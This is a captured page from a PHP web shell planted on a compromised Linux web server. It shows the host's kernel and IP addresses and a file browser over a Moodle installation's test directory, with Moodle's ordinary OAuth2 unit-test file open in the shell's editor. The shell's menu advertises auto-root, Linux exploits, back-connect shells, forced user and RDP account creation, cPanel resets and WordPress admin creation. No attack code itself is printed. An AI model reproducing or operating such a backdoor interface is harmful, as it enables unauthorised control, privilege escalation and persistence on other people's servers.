Linux aries.aptans.com 4.18.0-348.20.1.lve.1.el8.x86_64 #1 SMP Wed Mar 16 08:45:39 EDT 2022 x86_64
Apache
: 135.181.142.107 | : 172.69.17.90
Cant Read [ /etc/named.conf ]
7.4.33
aja
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
aja /
public_html /
ead.aptans /
lib /
tests /
[ HOME SHELL ]
Name
Size
Permission
Action
analytics
[ DIR ]
drwxr-xr-x
behat
[ DIR ]
drwxr-xr-x
content
[ DIR ]
drwxr-xr-x
event
[ DIR ]
drwxr-xr-x
external
[ DIR ]
drwxr-xr-x
fixtures
[ DIR ]
drwxr-xr-x
other
[ DIR ]
drwxr-xr-x
output
[ DIR ]
drwxr-xr-x
performance
[ DIR ]
drwxr-xr-x
plugininfo
[ DIR ]
drwxr-xr-x
accesslib_has_capability_test....
29.73
KB
-rw-rw-r--
accesslib_test.php
219.29
KB
-rw-rw-r--
adhoc_task_test.php
18.44
KB
-rw-rw-r--
adminlib_test.php
4.38
KB
-rw-rw-r--
admintree_test.php
17.32
KB
-rw-r--r--
ajaxlib_test.php
4.36
KB
-rw-rw-r--
analysers_test.php
12.95
KB
-rw-r--r--
antivirus_test.php
8.69
KB
-rw-rw-r--
authlib_test.php
19.91
KB
-rw-r--r--
blocklib_test.php
35.27
KB
-rw-rw-r--
calendar_cron_task_test.php
2.69
KB
-rw-rw-r--
check_test.php
1.97
KB
-rw-r--r--
client_test.php
4.34
KB
-rw-r--r--
collator_test.php
11.99
KB
-rw-r--r--
completion_daily_task_test.php
5.24
KB
-rw-r--r--
completionlib_test.php
62.1
KB
-rw-rw-r--
component_test.php
40.17
KB
-rw-rw-r--
componentlib_test.php
6.64
KB
-rw-r--r--
configonlylib_test.php
6.15
KB
-rw-r--r--
content_test.php
4.77
KB
-rw-r--r--
core_media_player_native_test....
6.54
KB
-rw-r--r--
core_renderer_template_exploit...
17.28
KB
-rw-r--r--
coverage.php
1.93
KB
-rw-rw-r--
cronlib_test.php
6.89
KB
-rw-r--r--
csslib_test.php
1.79
KB
-rw-r--r--
csvclass_test.php
5.57
KB
-rw-r--r--
curl_security_helper_test.php
14.71
KB
-rw-r--r--
customcontext_test.php
3.79
KB
-rw-r--r--
dataformat_test.php
3.74
KB
-rw-r--r--
datalib_test.php
47.8
KB
-rw-r--r--
datalib_update_with_unique_ind...
6.31
KB
-rw-r--r--
date_legacy_test.php
13.9
KB
-rw-r--r--
date_test.php
24.48
KB
-rw-rw-r--
editorlib_test.php
2.01
KB
-rw-r--r--
encryption_test.php
8.68
KB
-rw-r--r--
environment_test.php
8.54
KB
-rw-r--r--
event_context_locked_test.php
4.11
KB
-rw-r--r--
event_course_module_instance_l...
2.7
KB
-rw-r--r--
event_course_module_viewed.php
3.33
KB
-rw-r--r--
event_deprecated_test.php
1.49
KB
-rw-r--r--
event_grade_deleted_test.php
3.25
KB
-rw-r--r--
event_profile_field_test.php
12.44
KB
-rw-r--r--
event_unknown_logged_test.php
1.92
KB
-rw-r--r--
event_user_graded_test.php
10.07
KB
-rw-r--r--
event_user_password_updated_te...
2.89
KB
-rw-r--r--
exporter_test.php
11.02
KB
-rw-r--r--
externallib_test.php
29.7
KB
-rw-r--r--
filelib_test.php
70.92
KB
-rw-rw-r--
filestorage_zip_archive_test.p...
2.75
KB
-rw-r--r--
filetypes_test.php
10.2
KB
-rw-r--r--
filter_manager_test.php
3.48
KB
-rw-r--r--
filterlib_test.php
36.72
KB
-rw-r--r--
formslib_test.php
39.6
KB
-rw-r--r--
gdlib_test.php
5.92
KB
-rw-r--r--
googlelib_test.php
1.54
KB
-rw-r--r--
gradelib_test.php
9.74
KB
-rw-r--r--
grades_externallib_test.php
24.66
KB
-rw-rw-r--
grading_externallib_test.php
26.27
KB
-rw-r--r--
grouplib_test.php
84.23
KB
-rw-rw-r--
h5p_clean_orphaned_records_tas...
3.12
KB
-rw-r--r--
h5p_get_content_types_task_tes...
2.69
KB
-rw-r--r--
html2text_test.php
7.58
KB
-rw-r--r--
html_writer_test.php
8.74
KB
-rw-rw-r--
htmlpurifier_test.php
22.67
KB
-rw-r--r--
ip_utils_test.php
14.27
KB
-rw-r--r--
jquery_test.php
1.76
KB
-rw-r--r--
ldaplib_test.php
17.72
KB
-rw-r--r--
licenselib_test.php
11.58
KB
-rw-r--r--
lock_config_test.php
3.39
KB
-rw-r--r--
lock_test.php
5.5
KB
-rw-r--r--
markdown_test.php
2.45
KB
-rw-r--r--
mathslib_test.php
11.12
KB
-rw-r--r--
medialib_test.php
20.19
KB
-rw-rw-r--
message_test.php
12.46
KB
-rw-rw-r--
messageinbound_test.php
5.89
KB
-rw-r--r--
messagelib_test.php
56.39
KB
-rw-rw-r--
minify_test.php
3.14
KB
-rw-r--r--
modinfolib_test.php
44.15
KB
-rw-rw-r--
moodle_page_test.php
29.58
KB
-rw-rw-r--
moodle_url_test.php
12.85
KB
-rw-r--r--
moodlelib_test.php
216.85
KB
-rw-rw-r--
mustache_template_finder_test....
7.4
KB
-rw-r--r--
mustache_template_source_loade...
18.06
KB
-rw-r--r--
myprofilelib_test.php
10.44
KB
-rw-r--r--
navigationlib_test.php
26.28
KB
-rw-rw-r--
notification_test.php
4.61
KB
-rw-r--r--
oauth2_test.php
17.57
KB
-rw-r--r--
output_mustache_helper_collect...
8.09
KB
-rw-r--r--
outputcomponents_test.php
29.67
KB
-rw-r--r--
outputfactories_test.php
6.8
KB
-rw-r--r--
outputrequirementslib_test.php
5.38
KB
-rw-r--r--
pdflib_test.php
1.51
KB
-rw-r--r--
persistent_test.php
19.95
KB
-rw-rw-r--
plugin_manager_test.php
27.39
KB
-rw-r--r--
portfoliolib_test.php
8.4
KB
-rw-r--r--
progress_display_test.php
3.75
KB
-rw-r--r--
progress_test.php
14.48
KB
-rw-r--r--
qrcode_test.php
1.88
KB
-rw-r--r--
questionlib_test.php
96.9
KB
-rw-rw-r--
regex_test.php
1.88
KB
-rw-r--r--
report_helper_test.php
3.68
KB
-rw-rw-r--
requirejs_test.php
3.73
KB
-rw-r--r--
rsslib_test.php
6.9
KB
-rw-r--r--
rtlcss_test.php
56.86
KB
-rw-r--r--
sample_questions.ser
141.76
KB
-rw-r--r--
sample_questions.xml
102.62
KB
-rw-r--r--
sample_questions_with_old_imag...
4.85
KB
-rw-r--r--
sample_questions_with_old_imag...
4.08
KB
-rw-r--r--
sample_questions_wrong.xml
102.57
KB
-rw-r--r--
scheduled_task_test.php
29.98
KB
-rw-rw-r--
scss_test.php
4.26
KB
-rw-r--r--
session_manager_test.php
33.96
KB
-rw-r--r--
session_redis_test.php
13.27
KB
-rw-r--r--
sessionlib_test.php
11.86
KB
-rw-r--r--
setuplib_test.php
19.63
KB
-rw-r--r--
statslib_test.php
26.75
KB
-rw-r--r--
string_manager_standard_test.p...
10.05
KB
-rw-rw-r--
tablelib_test.php
23.53
KB
-rw-r--r--
task_database_logger_test.php
20.15
KB
-rw-r--r--
task_logging_test.php
17.31
KB
-rw-r--r--
task_manager_test.php
11.2
KB
-rw-r--r--
task_running_test.php
6.58
KB
-rw-r--r--
text_test.php
21.09
KB
-rw-rw-r--
theme_config_test.php
9.81
KB
-rw-rw-r--
time_splittings_test.php
15.09
KB
-rw-r--r--
update_api_test.php
6.75
KB
-rw-r--r--
update_checker_test.php
10.86
KB
-rw-r--r--
update_code_manager_test.php
9.06
KB
-rw-r--r--
update_validator_test.php
18.44
KB
-rw-r--r--
upgrade_util_test.php
5.65
KB
-rw-r--r--
upgradelib_test.php
69.1
KB
-rw-rw-r--
user_menu_test.php
3.82
KB
-rw-rw-r--
user_test.php
32.36
KB
-rw-rw-r--
useragent_test.php
83.88
KB
-rw-rw-r--
weblib_format_text_test.php
12.11
KB
-rw-r--r--
weblib_test.php
35.1
KB
-rw-rw-r--
xhprof_test.php
3.32
KB
-rw-r--r--
xhtml_container_stack_test.php
4.16
KB
-rw-r--r--
xmlize_test.php
2.72
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : oauth2_test.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Tests for oauth2 apis (\core\oauth2\*). * * @package core * @copyright 2017 Damyon Wiese * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later. */ defined('MOODLE_INTERNAL') || die(); /** * Tests for oauth2 apis (\core\oauth2\*). * * @package core * @copyright 2017 Damyon Wiese * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later. * @coversDefaultClass \core\oauth2\api */ class core_oauth2_testcase extends advanced_testcase { /** * Tests the crud operations on oauth2 issuers. */ public function test_create_and_delete_standard_issuers() { $this->resetAfterTest(); $this->setAdminUser(); \core\oauth2\api::create_standard_issuer('google'); \core\oauth2\api::create_standard_issuer('facebook'); \core\oauth2\api::create_standard_issuer('microsoft'); \core\oauth2\api::create_standard_issuer('nextcloud', 'https://dummy.local/nextcloud/'); $issuers = \core\oauth2\api::get_all_issuers(); $this->assertEquals($issuers[0]->get('name'), 'Google'); $this->assertEquals($issuers[1]->get('name'), 'Facebook'); $this->assertEquals($issuers[2]->get('name'), 'Microsoft'); $this->assertEquals($issuers[3]->get('name'), 'Nextcloud'); \core\oauth2\api::move_down_issuer($issuers[0]->get('id')); $issuers = \core\oauth2\api::get_all_issuers(); $this->assertEquals($issuers[0]->get('name'), 'Facebook'); $this->assertEquals($issuers[1]->get('name'), 'Google'); $this->assertEquals($issuers[2]->get('name'), 'Microsoft'); $this->assertEquals($issuers[3]->get('name'), 'Nextcloud'); \core\oauth2\api::delete_issuer($issuers[1]->get('id')); $issuers = \core\oauth2\api::get_all_issuers(); $this->assertEquals($issuers[0]->get('name'), 'Facebook'); $this->assertEquals($issuers[1]->get('name'), 'Microsoft'); $this->assertEquals($issuers[2]->get('name'), 'Nextcloud'); } /** * Tests the crud operations on oauth2 issuers. */ public function test_create_nextcloud_without_url() { $this->resetAfterTest(); $this->setAdminUser(); $this->expectException(\moodle_exception::class); \core\oauth2\api::create_standard_issuer('nextcloud'); } /** * Tests we can list and delete each of the persistents related to an issuer. */ public function test_getters() { $this->resetAfterTest(); $this->setAdminUser(); $issuer = \core\oauth2\api::create_standard_issuer('microsoft'); $same = \core\oauth2\api::get_issuer($issuer->get('id')); foreach ($same->properties_definition() as $name => $def) { $this->assertTrue($issuer->get($name) == $same->get($name)); } $endpoints = \core\oauth2\api::get_endpoints($issuer); $same = \core\oauth2\api::get_endpoint($endpoints[0]->get('id')); $this->assertEquals($endpoints[0]->get('id'), $same->get('id')); $this->assertEquals($endpoints[0]->get('name'), $same->get('name')); $todelete = $endpoints[0]; \core\oauth2\api::delete_endpoint($todelete->get('id')); $endpoints = \core\oauth2\api::get_endpoints($issuer); $this->assertNotEquals($endpoints[0]->get('id'), $todelete->get('id')); $userfields = \core\oauth2\api::get_user_field_mappings($issuer); $same = \core\oauth2\api::get_user_field_mapping($userfields[0]->get('id')); $this->assertEquals($userfields[0]->get('id'), $same->get('id')); $todelete = $userfields[0]; \core\oauth2\api::delete_user_field_mapping($todelete->get('id')); $userfields = \core\oauth2\api::get_user_field_mappings($issuer); $this->assertNotEquals($userfields[0]->get('id'), $todelete->get('id')); } /** * Data provider for \core_oauth2_testcase::test_get_system_oauth_client(). * * @return array */ public function system_oauth_client_provider() { return [ [ (object) [ 'access_token' => 'fdas...', 'token_type' => 'Bearer', 'expires_in' => '3600', 'id_token' => 'llfsd..', ], HOURSECS - 10 ], [ (object) [ 'access_token' => 'fdas...', 'token_type' => 'Bearer', 'id_token' => 'llfsd..', ], WEEKSECS ], ]; } /** * Tests we can get a logged in oauth client for a system account. * * @dataProvider system_oauth_client_provider * @param stdClass $responsedata The response data to be mocked. * @param int $expiresin The expected expiration time. */ public function test_get_system_oauth_client($responsedata, $expiresin) { $this->resetAfterTest(); $this->setAdminUser(); $issuer = \core\oauth2\api::create_standard_issuer('microsoft'); $requiredscopes = \core\oauth2\api::get_system_scopes_for_issuer($issuer); // Fake a system account. $data = (object) [ 'issuerid' => $issuer->get('id'), 'refreshtoken' => 'abc', 'grantedscopes' => $requiredscopes, 'email' => 'sys@example.com', 'username' => 'sys' ]; $sys = new \core\oauth2\system_account(0, $data); $sys->create(); // Fake a response with an access token. $response = json_encode($responsedata); curl::mock_response($response); $client = \core\oauth2\api::get_system_oauth_client($issuer); $this->assertTrue($client->is_logged_in()); // Check token expiry. $accesstoken = \core\oauth2\access_token::get_record(['issuerid' => $issuer->get('id')]); // Get the difference between the actual and expected expiry times. // They might differ by a couple of seconds depending on the timing when the token gets actually processed. $expiresdifference = time() + $expiresin - $accesstoken->get('expires'); // Assert that the actual token expiration is more or less the same as the expected. $this->assertGreaterThanOrEqual(0, $expiresdifference); $this->assertLessThanOrEqual(3, $expiresdifference); } /** * Tests we can enable and disable an issuer. */ public function test_enable_disable_issuer() { $this->resetAfterTest(); $this->setAdminUser(); $issuer = \core\oauth2\api::create_standard_issuer('microsoft'); $issuerid = $issuer->get('id'); \core\oauth2\api::enable_issuer($issuerid); $check = \core\oauth2\api::get_issuer($issuer->get('id')); $this->assertTrue((boolean)$check->get('enabled')); \core\oauth2\api::enable_issuer($issuerid); $check = \core\oauth2\api::get_issuer($issuer->get('id')); $this->assertTrue((boolean)$check->get('enabled')); \core\oauth2\api::disable_issuer($issuerid); $check = \core\oauth2\api::get_issuer($issuer->get('id')); $this->assertFalse((boolean)$check->get('enabled')); \core\oauth2\api::enable_issuer($issuerid); $check = \core\oauth2\api::get_issuer($issuer->get('id')); $this->assertTrue((boolean)$check->get('enabled')); } /** * Test the alloweddomains for an issuer. */ public function test_issuer_alloweddomains() { $this->resetAfterTest(); $this->setAdminUser(); $issuer = \core\oauth2\api::create_standard_issuer('microsoft'); $issuer->set('alloweddomains', ''); // Anything is allowed when domain is empty. $this->assertTrue($issuer->is_valid_login_domain('')); $this->assertTrue($issuer->is_valid_login_domain('a@b')); $this->assertTrue($issuer->is_valid_login_domain('longer.example@example.com')); $issuer->set('alloweddomains', 'example.com'); // One domain - must match exactly - no substrings etc. $this->assertFalse($issuer->is_valid_login_domain('')); $this->assertFalse($issuer->is_valid_login_domain('a@b')); $this->assertFalse($issuer->is_valid_login_domain('longer.example@example')); $this->assertTrue($issuer->is_valid_login_domain('longer.example@example.com')); $issuer->set('alloweddomains', 'example.com,example.net'); // Multiple domains - must match any exactly - no substrings etc. $this->assertFalse($issuer->is_valid_login_domain('')); $this->assertFalse($issuer->is_valid_login_domain('a@b')); $this->assertFalse($issuer->is_valid_login_domain('longer.example@example')); $this->assertFalse($issuer->is_valid_login_domain('invalid@email@example.net')); $this->assertTrue($issuer->is_valid_login_domain('longer.example@example.net')); $this->assertTrue($issuer->is_valid_login_domain('longer.example@example.com')); $issuer->set('alloweddomains', '*.example.com'); // Wildcard. $this->assertFalse($issuer->is_valid_login_domain('')); $this->assertFalse($issuer->is_valid_login_domain('a@b')); $this->assertFalse($issuer->is_valid_login_domain('longer.example@example')); $this->assertFalse($issuer->is_valid_login_domain('longer.example@example.com')); $this->assertTrue($issuer->is_valid_login_domain('longer.example@sub.example.com')); } /** * Test endpoints creation for issuers. * @dataProvider create_endpoints_for_standard_issuer_provider * * @covers ::create_endpoints_for_standard_issuer * * @param string $type Issuer type to create. * @param string|null $discoveryurl Expected discovery URL or null if this endpoint doesn't exist. * @param bool $hasmappingfields True if it's expected the issuer to create has mapping fields. * @param string|null $baseurl The service URL (mandatory parameter for some issuers, such as NextCloud or IMS OBv2.1). * @param string|null $expectedexception Name of the expected expection or null if no exception will be thrown. */ public function test_create_endpoints_for_standard_issuer(string $type, ?string $discoveryurl = null, bool $hasmappingfields = true, ?string $baseurl = null, ?string $expectedexception = null): void { $this->resetAfterTest(); // Mark test as long because it connects with external services. if (!PHPUNIT_LONGTEST) { $this->markTestSkipped('PHPUNIT_LONGTEST is not defined'); } $this->setAdminUser(); // Method create_endpoints_for_standard_issuer is called internally from create_standard_issuer. if ($expectedexception) { $this->expectException($expectedexception); } $issuer = \core\oauth2\api::create_standard_issuer($type, $baseurl); // Check endpoints have been created. $endpoints = \core\oauth2\api::get_endpoints($issuer); $this->assertNotEmpty($endpoints); $this->assertNotEmpty($issuer->get('image')); // Check discovery URL. if ($discoveryurl) { $this->assertStringContainsString($discoveryurl, $issuer->get_endpoint_url('discovery')); } else { $this->assertFalse($issuer->get_endpoint_url('discovery')); } // Check userfield mappings. $userfieldmappings = core\oauth2\api::get_user_field_mappings($issuer); if ($hasmappingfields) { $this->assertNotEmpty($userfieldmappings); } else { $this->assertEmpty($userfieldmappings); } } /** * Data provider for test_create_endpoints_for_standard_issuer. * * @return array */ public function create_endpoints_for_standard_issuer_provider(): array { return [ 'Google' => [ 'type' => 'google', 'discoveryurl' => '.well-known/openid-configuration', ], 'Google will work too with a valid baseurl parameter' => [ 'type' => 'google', 'discoveryurl' => '.well-known/openid-configuration', 'hasmappingfields' => true, 'baseurl' => 'https://accounts.google.com/', ], 'IMS OBv2.1' => [ 'type' => 'imsobv2p1', 'discoveryurl' => '.well-known/badgeconnect.json', 'hasmappingfields' => false, 'baseurl' => 'https://dc.imsglobal.org/', ], 'IMS OBv2.1 without slash in baseurl should work too' => [ 'type' => 'imsobv2p1', 'discoveryurl' => '.well-known/badgeconnect.json', 'hasmappingfields' => false, 'baseurl' => 'https://dc.imsglobal.org', ], 'IMS OBv2.1 with empty baseurl should return an exception' => [ 'type' => 'imsobv2p1', 'discoveryurl' => null, 'hasmappingfields' => false, 'baseurl' => null, 'expectedexception' => \moodle_exception::class, ], 'Microsoft' => [ 'type' => 'microsoft', ], 'Facebook' => [ 'type' => 'facebook', ], 'NextCloud' => [ 'type' => 'nextcloud', 'discoveryurl' => null, 'hasmappingfields' => true, 'baseurl' => 'https://dummy.local/nextcloud/', ], 'NextCloud with empty baseurl should return an exception' => [ 'type' => 'nextcloud', 'discoveryurl' => null, 'hasmappingfields' => true, 'baseurl' => null, 'expectedexception' => \moodle_exception::class, ], 'Invalid type should return an exception' => [ 'type' => 'fictitious', 'discoveryurl' => null, 'hasmappingfields' => true, 'baseurl' => null, 'expectedexception' => \moodle_exception::class, ], ]; } /** * Test for get all issuers. */ public function test_get_all_issuers() { $this->resetAfterTest(); $this->setAdminUser(); $googleissuer = core\oauth2\api::create_standard_issuer('google'); core\oauth2\api::create_standard_issuer('facebook'); core\oauth2\api::create_standard_issuer('microsoft'); // Set Google issuer to be shown only on login page. $record = $googleissuer->to_record(); $record->showonloginpage = $googleissuer::LOGINONLY; core\oauth2\api::update_issuer($record); $issuers = \core\oauth2\api::get_all_issuers(); $this->assertCount(2, $issuers); $expected = ['Microsoft', 'Facebook']; $this->assertEqualsCanonicalizing($expected, [$issuers[0]->get_display_name(), $issuers[1]->get_display_name()]); $issuers = \core\oauth2\api::get_all_issuers(true); $this->assertCount(3, $issuers); $expected = ['Google', 'Microsoft', 'Facebook']; $this->assertEqualsCanonicalizing($expected, [$issuers[0]->get_display_name(), $issuers[1]->get_display_name(), $issuers[2]->get_display_name()]); } /** * Test for is available for login. */ public function test_is_available_for_login() { $this->resetAfterTest(); $this->setAdminUser(); $googleissuer = core\oauth2\api::create_standard_issuer('google'); // Set Google issuer to be shown only on login page. $record = $googleissuer->to_record(); $record->showonloginpage = $googleissuer::LOGINONLY; core\oauth2\api::update_issuer($record); $this->assertFalse($googleissuer->is_available_for_login()); // Set a clientid and clientsecret. $googleissuer->set('clientid', 'clientid'); $googleissuer->set('clientsecret', 'secret'); $googleissuer->update(); $this->assertTrue($googleissuer->is_available_for_login()); // Set showonloginpage to service only. $googleissuer->set('showonloginpage', \core\oauth2\issuer::SERVICEONLY); $googleissuer->update(); $this->assertFalse($googleissuer->is_available_for_login()); // Set showonloginpage to everywhere (service and login) and disable issuer. $googleissuer->set('showonloginpage', \core\oauth2\issuer::EVERYWHERE); $googleissuer->set('enabled', 0); $googleissuer->update(); $this->assertFalse($googleissuer->is_available_for_login()); // Enable issuer. $googleissuer->set('enabled', 1); $googleissuer->update(); $this->assertTrue($googleissuer->is_available_for_login()); // Remove userinfo endpoint from issuer. $endpoint = core\oauth2\endpoint::get_record([ 'issuerid' => $googleissuer->get('id'), 'name' => 'userinfo_endpoint' ]); \core\oauth2\api::delete_endpoint($endpoint->get('id')); $this->assertFalse($googleissuer->is_available_for_login()); } }
Close